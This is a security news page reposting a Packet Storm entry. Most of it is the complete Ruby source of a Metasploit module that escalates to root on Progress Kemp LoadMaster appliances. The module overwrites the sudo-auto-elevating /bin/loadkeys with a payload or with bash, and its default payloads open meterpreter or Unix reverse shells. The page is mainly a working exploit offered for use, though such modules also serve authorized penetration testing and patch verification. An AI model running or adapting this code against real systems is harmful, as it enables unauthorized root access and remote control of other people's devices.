Security
Headlines
HeadlinesLatestCVEs

Headline

Kemp LoadMaster Local sudo Privilege Escalation

This Metasploit module abuses a feature of the sudo command on Progress Kemp LoadMaster. Certain binary files are allowed to automatically elevate with the sudo command. This is based off of the file name. Some files have this permission are not write-protected from the default bal user. As such, if the file is overwritten with an arbitrary file, it will still auto-elevate. This module overwrites the /bin/loadkeys file with another executable.

Packet Storm
#linux#js#git#auth#ssh#telnet
# This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Post::File  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Kemp LoadMaster Local sudo privilege escalation',        'Description' => %q{          This module abuses a feature of the sudo command on Progress Kemp          LoadMaster.  Certain binary files are allowed to automatically elevate          with the sudo command.  This is based off of the file name.  Some files          have this permission are not write-protected from the default 'bal' user.          As such, if the file is overwritten with an arbitrary file, it will still          auto-elevate.  This module overwrites the /bin/loadkeys file with another          executable.        },        'Author' => [          'Dave Yesland with Rhino Security Labs',          'bwatters-r7' # module,        ],        'License' => MSF_LICENSE,        'References' => [          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],          ['URL', 'https://kemptechnologies.com/kemp-load-balancers']        ],        'DisclosureDate' => '2024-03-19',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],          'Reliability' => [ REPEATABLE_SESSION ]        },        'SessionTypes' => ['shell', 'meterpreter'],        'Platform' => ['unix', 'linux'],        'Targets' => [          [            'Dropper',            {              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :dropper,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'              }            }          ],          [            'Command',            {              'Arch' => [ARCH_CMD],              'Type' => :command,              'Payload' =>                {                  'BadChars' => "\x27",                  'Compat' =>                    {                      'PayloadType' => 'cmd',                      'RequiredCmd' => 'generic gawk telnet ssh echo'                    }                },              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse'              }            }          ]        ],        'Privileged' => true      )    )    register_options([      OptString.new('TARGET_BINARY', [true, 'The path for a binary file that has permission to auto-elevate.', '/bin/loadkeys']),      OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ])    ])  end  def check    score = 0    score += 1 if read_file('/usr/wui/index.js').include?('KEMP')    score += 1 if read_file('/etc/motd').include?('Kemp LoadMaster')    score += 1 if exists?('/usr/wui/eula.kemp.html')    vprint_status("Found #{score} indicators this is a KEMP product")    return CheckCode::Detected if score > 0    return CheckCode::Safe  end  def verify_copy(src, dest, elevate)    orig_file_hash = file_remote_digestmd5(src)    vprint_status("Moving #{src} to #{dest}")    if elevate      output = cmd_exec("sudo /bin/cp '#{src}' '#{dest}'")    else      output = cmd_exec("/bin/cp '#{src}' '#{dest}'")    end    return true if file_remote_digestmd5(dest) == orig_file_hash    print_bad("Copy failed - #{output}")    false  end  def execute_dropper(target_binary, binary_rename, temp_payload_path)    vprint_status("Writing payload to #{temp_payload_path}")    write_file(temp_payload_path, generate_payload_exe)    chmod(temp_payload_path)    register_file_for_cleanup(temp_payload_path)    return unless verify_copy(target_binary, binary_rename, false)    return unless verify_copy(temp_payload_path, target_binary, true)    vprint_status("Running #{target_binary}")    cmd_exec("sudo '#{target_binary}'")  end  def execute_command(target_binary, binary_rename, cmd)    vprint_status('Preparing payload command')    # save copy of target_binary    return unless verify_copy(target_binary, binary_rename, false)    return unless verify_copy('/bin/bash', target_binary, true)    vprint_status('Running payload command')    vprint_status(cmd_exec("sudo #{target_binary} -c '#{cmd}'"))  end  def exploit    writable_dir = datastore['WRITABLE_DIR']    if writable_dir.blank? || (writable_dir[-1] != '/')      writable_dir += '/'    end    fail_with(Failure::BadConfig, "Invalid WRITABLE_DIR: #{writable_dir}") unless directory?(writable_dir)    target_binary = datastore['TARGET_BINARY']    binary_rename = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"    target_binary_hash = file_remote_digestmd5(target_binary)    begin      case target['Type']      when :dropper        temp_payload = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"        execute_dropper(target_binary, binary_rename, temp_payload)      when :command        execute_command(target_binary, binary_rename, payload.encoded)      end    ensure      unless target_binary_hash == file_remote_digestmd5(target_binary)        cmd_exec("sudo rm '#{target_binary}'")        verify_copy(binary_rename, target_binary, true)        cmd_exec("sudo rm '#{binary_rename}'")      end    end    if target_binary_hash == file_remote_digestmd5(target_binary)      print_good("#{target_binary} returned to original contents")    else      print_bad("#{target_binary} was not returned to original contents")    end  endend

Related news

Kemp LoadMaster Unauthenticated Command Injection

This Metasploit module exploits an unauthenticated command injection vulnerability in Progress Kemp LoadMaster in the authorization header after version 7.2.48.1. The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF), and 7.2.48.10 (LTS).

Packet Storm: Latest News

Ubuntu Security Notice USN-7027-1